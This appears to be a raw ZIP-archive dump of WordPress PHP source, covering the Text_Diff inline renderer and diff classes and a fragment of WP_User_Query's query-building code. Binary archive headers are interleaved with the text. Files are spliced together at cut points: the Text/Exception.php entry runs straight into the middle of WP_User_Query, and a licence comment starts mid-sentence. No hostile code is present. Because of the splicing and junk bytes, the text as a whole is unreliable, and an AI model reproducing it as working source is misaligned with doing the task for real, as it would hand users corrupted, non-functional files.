1] .= $this->_ins_suffix; return $this->_lines($lines, ' ', false); } function _deleted($lines, $words = false) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_del_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_del_suffix; return $this->_lines($lines, ' ', false); } function _changed($orig, $final) { /* If we've already split on characters, just display. */ if ($this->_split_level == 'characters') { return $this->_deleted($orig) . $this->_added($final); } /* If we've already split on words, just display. */ if ($this->_split_level == 'words') { $prefix = ''; while ($orig[0] !== false && $final[0] !== false && substr($orig[0], 0, 1) == ' ' && substr($final[0], 0, 1) == ' ') { $prefix .= substr($orig[0], 0, 1); $orig[0] = substr($orig[0], 1); $final[0] = substr($final[0], 1); } return $prefix . $this->_deleted($orig) . $this->_added($final); } $text1 = implode("\n", $orig); $text2 = implode("\n", $final); /* Non-printing newline marker. */ $nl = "\0"; if ($this->_split_characters) { $diff = new Text_Diff('native', array(preg_split('//', $text1), preg_split('//', $text2))); } else { /* We want to split on word boundaries, but we need to preserve * whitespace as well. Therefore we split on words, but include * all blocks of whitespace in the wordlist. */ $diff = new Text_Diff('native', array($this->_splitOnWords($text1, $nl), $this->_splitOnWords($text2, $nl))); } /* Get the diff in inline format. */ $renderer = new Text_Diff_Renderer_inline (array_merge($this->getParams(), array('split_level' => $this->_split_characters ? 'characters' : 'words'))); /* Run the diff and get the output. */ return str_replace($nl, "\n", $renderer->render($diff)) . "\n"; } function _splitOnWords($string, $newlineEscape = "\n") { // Ignore \0; otherwise the while loop will never finish. $string = str_replace("\0", '', $string); $words = array(); $length = strlen($string); $pos = 0; while ($pos < $length) { // Eat a word with any preceding whitespace. $spaces = strspn(substr($string, $pos), " \n"); $nextpos = strcspn(substr($string, $pos + $spaces), " \n"); $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos)); $pos += $spaces + $nextpos; } return $words; } function _encode(&$string) { $string = htmlspecialchars($string); } } PK!A Ë¶.¶. Text/Diff.phpnuȯÝí, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. */ static function _getTempDir() { return get_temp_dir(); } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PK!-“1ññText/Exception.phpnuȯÝíprepare_query( $query ); $this->query(); } } /** * Fills in missing query variables with default values. * * @since 4.4.0 * * @param string|array $args Query vars, as passed to `WP_User_Query`. * @return array Complete query variables with undefined ones filled in with defaults. */ public static function fill_query_vars( $args ) { $defaults = array( 'blog_id' => get_current_blog_id(), 'role' => '', 'role__in' => array(), 'role__not_in' => array(), 'capability' => '', 'capability__in' => array(), 'capability__not_in' => array(), 'meta_key' => '', 'meta_value' => '', 'meta_compare' => '', 'include' => array(), 'exclude' => array(), 'search' => '', 'search_columns' => array(), 'orderby' => 'login', 'order' => 'ASC', 'offset' => '', 'number' => '', 'paged' => 1, 'count_total' => true, 'fields' => 'all', 'who' => '', 'has_published_posts' => null, 'nicename' => '', 'nicename__in' => array(), 'nicename__not_in' => array(), 'login' => '', 'login__in' => array(), 'login__not_in' => array(), 'cache_results' => true, ); return wp_parse_args( $args, $defaults ); } /** * Prepares the query variables. * * @since 3.1.0 * @since 4.1.0 Added the ability to order by the `include` value. * @since 4.2.0 Added 'meta_value_num' support for `$orderby` parameter. Added multi-dimensional array syntax * for `$orderby` parameter. * @since 4.3.0 Added 'has_published_posts' parameter. * @since 4.4.0 Added 'paged', 'role__in', and 'role__not_in' parameters. The 'role' parameter was updated to * permit an array or comma-separated list of values. The 'number' parameter was updated to support * querying for all users with using -1. * @since 4.7.0 Added 'nicename', 'nicename__in', 'nicename__not_in', 'login', 'login__in', * and 'login__not_in' parameters. * @since 5.1.0 Introduced the 'meta_compare_key' parameter. * @since 5.3.0 Introduced the 'meta_type_key' parameter. * @since 5.9.0 Added 'capability', 'capability__in', and 'capability__not_in' parameters. * Deprecated the 'who' parameter. * @since 6.3.0 Added 'cache_results' parameter. * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Roles $wp_roles WordPress role management object. * * @param string|array $query { * Optional. Array or string of query parameters. * * @type int $blog_id The site ID. Default is the current site. * @type string|string[] $role An array or a comma-separated list of role names that users * must match to be included in results. Note that this is * an inclusive list: users must match *each* role. Default empty. * @type string[] $role__in An array of role names. Matched users must have at least one * of these roles. Default empty array. * @type string[] $role__not_in An array of role names to exclude. Users matching one or more * of these roles will not be included in results. Default empty array. * @type string|string[] $meta_key Meta key or keys to filter by. * @type string|string[] $meta_value Meta value or values to filter by. * @type string $meta_compare MySQL operator used for comparing the meta value. * See WP_Meta_Query::__construct() for accepted values and default value. * @type string $meta_compare_key MySQL operator used for comparing the meta key. * See WP_Meta_Query::__construct() for accepted values and default value. * @type string $meta_type MySQL data type that the meta_value column will be CAST to for comparisons. * See WP_Meta_Query::__construct() for accepted values and default value. * @type string $meta_type_key MySQL data type that the meta_key column will be CAST to for comparisons. * See WP_Meta_Query::__construct() for accepted values and default value. * @type array $meta_query An associative array of WP_Meta_Query arguments. * See WP_Meta_Query::__construct() for accepted values. * @type string|string[] $capability An array or a comma-separated list of capability names that users * must match to be included in results. Note that this is * an inclusive list: users must match *each* capability. * Does NOT work for capabilities not in the database or filtered * via {@see 'map_meta_cap'}. Default empty. * @type string[] $capability__in An array of capability names. Matched users must have at least one * of these capabilities. * Does NOT work for capabilities not in the database or filtered * via {@see 'map_meta_cap'}. Default empty array. * @type string[] $capability__not_in An array of capability names to exclude. Users matching one or more * of these capabilities will not be included in results. * Does NOT work for capabilities not in the database or filtered * via {@see 'map_meta_cap'}. Default empty array. * @type int[] $include An array of user IDs to include. Default empty array. * @type int[] $exclude An array of user IDs to exclude. Default empty array. * @type string $search Search keyword. Searches for possible string matches on columns. * When `$search_columns` is left empty, it tries to determine which * column to search in based on search string. Default empty. * @type string[] $search_columns Array of column names to be searched. Accepts 'ID', 'user_login', * 'user_email', 'user_url', 'user_nicename', 'display_name'. * Default empty array. * @type string|array $orderby Field(s) to sort the retrieved users by. May be a single value, * an array of values, or a multi-dimensional array with fields as * keys and orders ('ASC' or 'DESC') as values. Accepted values are: * - 'ID' * - 'display_name' (or 'name') * - 'include' * - 'user_login' (or 'login') * - 'login__in' * - 'user_nicename' (or 'nicename') * - 'nicename__in' * - 'user_email' (or 'email') * - 'user_url' (or 'url') * - 'user_registered' (or 'registered') * - 'post_count' * - 'meta_value' * - 'meta_value_num' * - The value of `$meta_key` * - An array key of `$meta_query` * To use 'meta_value' or 'meta_value_num', `$meta_key` * must be also be defined. Default 'user_login'. * @type string $order Designates ascending or descending order of users. Order values * passed as part of an `$orderby` array take precedence over this * parameter. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type int $offset Number of users to offset in retrieved results. Can be used in * conjunction with pagination. Default 0. * @type int $number Number of users to limit the query for. Can be used in * conjunction with pagination. Value -1 (all) is supported, but * should be used with caution on larger sites. * Default -1 (all users). * @type int $paged When used with number, defines the page of results to return. * Default 1. * @type bool $count_total Whether to count the total number of users found. If pagination * is not needed, setting this to false can improve performance. * Default true. * @type string|string[] $fields Which fields to return. Single or all fields (string), or array * of fields. Accepts: * - 'ID' * - 'display_name' * - 'user_login' * - 'user_nicename' * - 'user_email' * - 'user_url' * - 'user_registered' * - 'user_pass' * - 'user_activation_key' * - 'user_status' * - 'spam' (only available on multisite installs) * - 'deleted' (only available on multisite installs) * - 'all' for all fields and loads user meta. * - 'all_with_meta' Deprecated. Use 'all'. * Default 'all'. * @type string $who Deprecated, use `$capability` instead. * Type of users to query. Accepts 'authors'. * Default empty (all users). * @type bool|string[] $has_published_posts Pass an array of post types to filter results to users who have * published posts in those post types. `true` is an alias for all * public post types. * @type string $nicename The user nicename. Default empty. * @type string[] $nicename__in An array of nicenames to include. Users matching one of these * nicenames will be included in results. Default empty array. * @type string[] $nicename__not_in An array of nicenames to exclude. Users matching one of these * nicenames will not be included in results. Default empty array. * @type string $login The user login. Default empty. * @type string[] $login__in An array of logins to include. Users matching one of these * logins will be included in results. Default empty array. * @type string[] $login__not_in An array of logins to exclude. Users matching one of these * logins will not be included in results. Default empty array. * @type bool $cache_results Whether to cache user information. Default true. * } */ public function prepare_query( $query = array() ) { global $wpdb, $wp_roles; if ( empty( $this->query_vars ) || ! empty( $query ) ) { $this->query_limit = null; $this->query_vars = $this->fill_query_vars( $query ); } /** * Fires before the WP_User_Query has been parsed. * * The passed WP_User_Query object contains the query variables, * not yet passed into SQL. * * @since 4.0.0 * * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference). */ do_action_ref_array( 'pre_get_users', array( &$this ) ); // Ensure that query vars are filled after 'pre_get_users'. $qv =& $this->query_vars; $qv = $this->fill_query_vars( $qv ); $allowed_fields = array( 'id', 'user_login', 'user_pass', 'user_nicename', 'user_email', 'user_url', 'user_registered', 'user_activation_key', 'user_status', 'display_name', ); if ( is_multisite() ) { $allowed_fields[] = 'spam'; $allowed_fields[] = 'deleted'; } if ( is_array( $qv['fields'] ) ) { $qv['fields'] = array_map( 'strtolower', $qv['fields'] ); $qv['fields'] = array_intersect( array_unique( $qv['fields'] ), $allowed_fields ); if ( empty( $qv['fields'] ) ) { $qv['fields'] = array( 'id' ); } $this->query_fields = array(); foreach ( $qv['fields'] as $field ) { $field = 'id' === $field ? 'ID' : sanitize_key( $field ); $this->query_fields[] = "$wpdb->users.$field"; } $this->query_fields = implode( ',', $this->query_fields ); } elseif ( 'all_with_meta' === $qv['fields'] || 'all' === $qv['fields'] || ! in_array( $qv['fields'], $allowed_fields, true ) ) { $this->query_fields = "$wpdb->users.ID"; } else { $field = 'id' === strtolower( $qv['fields'] ) ? 'ID' : sanitize_key( $qv['fields'] ); $this->query_fields = "$wpdb->users.$field"; } if ( isset( $qv['count_total'] ) && $qv['count_total'] ) { $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields; } $this->query_from = "FROM $wpdb->users"; $this->query_where = 'WHERE 1=1'; // Parse and sanitize 'include', for use by 'orderby' as well as 'include' below. if ( ! empty( $qv['include'] ) ) { $include = wp_parse_id_list( $qv['include'] ); } else { $include = false; } $blog_id = 0; if ( isset( $qv['blog_id'] ) ) { $blog_id = absint( $qv['blog_id'] ); } if ( $qv['has_published_posts'] && $blog_id ) { if ( true === $qv['has_published_posts'] ) { $post_types = get_post_types( array( 'public' => true ) ); } else { $post_types = (array) $qv['has_published_posts']; } foreach ( $post_types as &$post_type ) { $post_type = $wpdb->prepare( '%s', $post_type ); } $posts_table = $wpdb->get_blog_prefix( $blog_id ) . 'posts'; $this->query_where .= " AND $wpdb->users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = 'publish' AND $posts_table.post_type IN ( " . implode( ', ', $post_types ) . ' ) )'; } // nicename if ( '' !== $qv['nicename'] ) { $this->query_where .= $wpdb->prepare( ' AND user_nicename = %s', $qv['nicename'] ); } if ( ! empty( $qv['nicename__in'] ) ) { $sanitized_nicename__in = array_map( 'esc_sql', $qv['nicename__in'] ); $nicename__in = implode( "','", $sanitized_nicename__in ); $this->query_where .= " AND user_nicename IN ( '$nicename__in' )"; } if ( ! empty( $qv['nicename__not_in'] ) ) { $sanitized_nicename__not_in = array_map( 'esc_sql', $qv['nicename__not_in'] ); $nicename__not_in = implode( "','", $sanitized_nicename__not_in ); $this->query_where .= " AND user_nicename NOT IN ( '$nicename__not_in' )"; } // login if ( '' !== $qv['login'] ) { $this->query_where .= $wpdb->prepare( ' AND user_login = %s', $qv['login'] ); } if ( ! empty( $qv['login__in'] ) ) { $sanitized_login__in = array_map( 'esc_sql', $qv['login__in'] ); $login__in = implode( "','", $sanitized_login__in ); $this->query_where .= " AND user_login IN ( '$login__in' )"; } if ( ! empty( $qv['login__not_in'] ) ) { $sanitized_login__not_in = array_map( 'esc_sql', $qv['login__not_in'] ); $login__not_in = implode( "','", $sanitized_login__not_in ); $this->query_where .= " AND user_login NOT IN ( '$login__not_in' )"; } // Meta query. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $qv ); if ( isset( $qv['who'] ) && 'authors' === $qv['who'] && $blog_id ) { _deprecated_argument( 'WP_User_Query', '5.9.0', sprintf( /* translators: 1: who, 2: capability */ __( '%1$s is deprecated. Use %2$s instead.' ), 'who', 'capability' ) ); $who_query = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'user_level', 'value' => 0, 'compare' => '!=', ); // Prevent extra meta query. $qv['blog_id'] = 0; $blog_id = 0; if ( empty( $this->meta_query->queries ) ) { $this->meta_query->queries = array( $who_query ); } else { // Append the cap query to the original queries and reparse the query. $this->meta_query->queries = array( 'relation' => 'AND', array( $this->meta_query->queries, $who_query ), ); } $this->meta_query->parse_query_vars( $this->meta_query->queries ); } // Roles. $roles = array(); if ( isset( $qv['role'] ) ) { if ( is_array( $qv['role'] ) ) { $roles = $qv['role']; } elseif ( is_string( $qv['role'] ) && ! empty( $qv['role'] ) ) { $roles = array_map( 'trim', explode( ',', $qv['role'] ) ); } } $role__in = array(); if ( isset( $qv['role__in'] ) ) { $role__in = (array) $qv['role__in']; } $role__not_in = array(); if ( isset( $qv['role__not_in'] ) ) { $role__not_in = (array) $qv['role__not_in']; } // Capabilities. $available_roles = array(); if ( ! empty( $qv['capability'] ) || ! empty( $qv['capability__in'] ) || ! empty( $qv['capability__not_in'] ) ) { $wp_roles->for_site( $blog_id ); $available_roles = $wp_roles->roles; } $capabilities = array(); if ( ! empty( $qv['capability'] ) ) { if ( is_array( $qv['capability'] ) ) { $capabilities = $qv['capability']; } elseif ( is_string( $qv['capability'] ) ) { $capabilities = array_map( 'trim', explode( ',', $qv['capability'] ) ); } } $capability__in = array(); if ( ! empty( $qv['capability__in'] ) ) { $capability__in = (array) $qv['capability__in']; } $capability__not_in = array(); if ( ! empty( $qv['capability__not_in'] ) ) { $capability__not_in = (array) $qv['capability__not_in']; } // Keep track of all capabilities and the roles they're added on. $caps_with_roles = array(); foreach ( $available_roles as $role => $role_data ) { $role_caps = array_keys( array_filter( $role_data['capabilities'] ) ); foreach ( $capabilities as $cap ) { if ( in_array( $cap, $role_caps, true ) ) { $caps_with_roles[ $cap ][] = $role; break; } } foreach ( $capability__in as $cap ) { if ( in_array( $cap, $role_caps, true ) ) { $role__in[] = $role; break; } } foreach ( $capability__not_in as $cap ) { if ( in_array( $cap, $role_caps, true ) ) { $role__not_in[] = $role; break; } } } $role__in = array_merge( $role__in, $capability__in ); $role__not_in = array_merge( $role__not_in, $capability__not_in ); $roles = array_unique( $roles ); $role__in = array_unique( $role__in ); $role__not_in = array_unique( $role__not_in ); // Support querying by capabilities added directly to users. if ( $blog_id && ! empty( $capabilities ) ) { $capabilities_clauses = array( 'relation' => 'AND' ); foreach ( $capabilities as $cap ) { $clause = array( 'relation' => 'OR' ); $clause[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $cap . '"', 'compare' => 'LIKE', ); if ( ! empty( $caps_with_roles[ $cap ] ) ) { foreach ( $caps_with_roles[ $cap ] as $role ) { $clause[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'LIKE', ); } } $capabilities_clauses[] = $clause; } $role_queries[] = $capabilities_clauses; if ( empty( $this->meta_query->queries ) ) { $this->meta_query->queries[] = $capabilities_clauses; } else { // Append the cap query to the original queries and reparse the query. $this->meta_query->queries = array( 'relation' => 'AND', array( $this->meta_query->queries, array( $capabilities_clauses ) ), ); } $this->meta_query->parse_query_vars( $this->meta_query->queries ); } if ( $blog_id && ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) { $role_queries = array(); $roles_clauses = array( 'relation' => 'AND' ); if ( ! empty( $roles ) ) { foreach ( $roles as $role ) { $roles_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'LIKE', ); } $role_queries[] = $roles_clauses; } $role__in_clauses = array( 'relation' => 'OR' ); if ( ! empty( $role__in ) ) { foreach ( $role__in as $role ) { $role__in_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'LIKE', ); } $role_queries[] = $role__in_clauses; } $role__not_in_clauses = array( 'relation' => 'AND' ); if ( ! empty( $role__not_in ) ) { foreach ( $role__not_in as $role ) { $role__not_in_clauses[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'value' => '"' . $role . '"', 'compare' => 'NOT LIKE', ); } $role_queries[] = $role__not_in_clauses; } // If there are no specific roles named, make sure the user is a member of the site. if ( empty( $role_queries ) ) { $role_queries[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'compare' => 'EXISTS', ); } // Specify that role queries should be joined with AND. $role_queries['relation'] = 'AND'; if ( empty( $this->meta_query->queries ) ) { $this->meta_query->queries = $role_queries; } else { // Append the cap query to the original queries and reparse the query. $this->meta_query->queries = array( 'relation' => 'AND', array( $this->meta_query->queries, $role_queries ), ); } $this->meta_query->parse_query_vars( $this->meta_query->queries ); } if ( ! empty( $this->meta_query->queries ) ) { $clauses = $this->meta_query->get_sql( 'user', $wpdb->users, 'ID', $this ); $this->query_from .= $clauses['join']; $this->query_where .= $clauses['where']; if ( $this->meta_query->has_or_relation() ) { $this->query_fields = 'DISTINCT ' . $this->query_fields; } } // Sorting. $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : ''; $order = $this->parse_order( $qv['order'] ); if ( empty( $qv['orderby'] ) ) { // Default order is by 'user_login'. $ordersby = array( 'user_login' => $order ); } elseif ( is_array( $qv['orderby'] ) ) { $ordersby = $qv['orderby']; } else { // 'orderby' values may be a comma- or space-separated list. $ordersby = preg_split( '/[,\s]+/', $qv['orderby'] ); } $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { // Integer key means this is a flat array of 'orderby' fields. $_orderby = $_value; $_order = $order; } else { // Non-integer key means this the key is the field and the value is ASC/DESC. $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'nicename__in' === $_orderby || 'login__in' === $_orderby ) { $orderby_array[] = $parsed; } else { $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } } // If no valid clauses were found, order by user_login. if ( empty( $orderby_array ) ) { $orderby_array[] = "user_login $order"; } $this->query_orderby = 'ORDER BY ' . implode( ', ', $orderby_array ); // Limit. if ( isset( $qv['number'] ) && $qv['number'] > 0 ) { if ( $qv['offset'] ) { $this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['offset'], $qv['number'] ); } else { $this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['number'] * ( $qv['paged'] - 1 ), $qv['number'] ); } } $search = ''; if ( isset( $qv['search'] ) ) { $search = trim( $qv['search'] ); } if ( $search ) { $leading_wild = ( ltrim( $search, '*' ) !== $search ); $trailing_wild = ( rtrim( $search, '*' ) !== $search ); if ( $leading_wild && $trailing_wild ) { $wild = 'both'; } elseif ( $leading_wild ) { $wild = 'leading'; } elseif ( $trailing_wild ) { $wild = 'trailing'; } else { $wild = false; } if ( $wild ) { $search = trim( $search, '*' ); } $search_columns = array(); if ( $qv['search_columns'] ) { $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename', 'display_name' ) ); } if ( ! $search_columns ) { if ( str_contains( $search, '@' ) ) { $search_columns = array( 'user_email' ); } elseif ( is_numeric( $search ) ) { $search_columns = array( 'user_login', 'ID' ); } elseif ( preg_match( '|^https?://|', $search ) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) ) { $search_columns = array( 'user_url' ); } else { $search_columns = array( 'user_login', 'user_url', 'user_email', 'user_nicename', 'display_name' ); } } /** * Filters the columns to search in a WP_User_Query search. * * The default columns depend on the search term, and include 'ID', 'user_login', * 'user_email', 'user_url', 'user_nicename', and 'display_name'. * * @since 3.6.0 * * @param string[] $search_columns Array of column names to be searched. * @param string $search Text being searched. * @param WP_User_Query $query The current WP_User_Query instance. */ $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this ); $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild ); } if ( ! empty( $include ) ) { // Sanitized earlier. $ids = implode( ',', $include ); $this->query_where .= " AND $wpdb->users.ID IN ($ids)"; } elseif ( ! empty( $qv['exclude'] ) ) { $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) ); $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)"; } // Date queries are allowed for the user_registered field. if ( ! empty( $qv['date_query'] ) && is_array( $qv['date_query'] ) ) { $date_query = new WP_Date_Query( $qv['date_query'], 'user_registered' ); $this->query_where .= $date_query->get_sql(); } /** * Fires after the WP_User_Query has been parsed, and before * the query is executed. * * The passed WP_User_Query object contains SQL parts formed * from parsing the given query. * * @since 3.1.0 * * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference). */ do_action_ref_array( 'pre_user_query', array( &$this ) ); } /** * Executes the query, with the current variables. * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function query() { global $wpdb; if ( ! did_action( 'plugins_loaded' ) ) { _doing_it_wrong( 'WP_User_Query::query', sprintf( /* translators: %s: plugins_loaded */ __( 'User queries should not be run before the %s hook.' ), 'plugins_loaded' ), '6.1.1' ); } $qv =& $this->query_vars; // Do not cache results if more than 3 fields are requested. if ( is_array( $qv['fields'] ) && count( $qv['fields'] ) > 3 ) { $qv['cache_results'] = false; } /** * Filters the users array before the query takes place. * * Return a non-null value to bypass WordPress' default user queries. * * Filtering functions that require pagination information are encouraged to set * the `total_users` property of the WP_User_Query object, passed to the filter * by reference. If WP_User_Query does not perform a database query, it will not * have enough information to generate these values itself. * * @since 5.1.0 * * @param array|null $results Return an array of user data to short-circuit WP's user query * or null to allow WP to run its normal queries. * @param WP_User_Query $query The WP_User_Query instance (passed by reference). */ $this->results = apply_filters_ref_array( 'users_pre_query', array( null, &$this ) ); if ( null === $this->results ) { // Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841. $this->request = "SELECT {$this->query_fields} {$this->query_from} {$this->query_where} {$this->query_orderby} {$this->query_limit}"; $cache_value = false; $cache_key = $this->generate_cache_key( $qv, $this->request ); $cache_group = 'user-queries'; $last_changed = $this->get_cache_last_changed( $qv ); if ( $qv['cache_results'] ) { $cache_value = wp_cache_get_salted( $cache_key, $cache_group, $last_changed ); } if ( false !== $cache_value ) { $this->results = $cache_value['user_data']; $this->total_users = $cache_value['total_users']; } else { if ( is_array( $qv['fields'] ) ) { $this->results = $wpdb->get_results( $this->request ); } 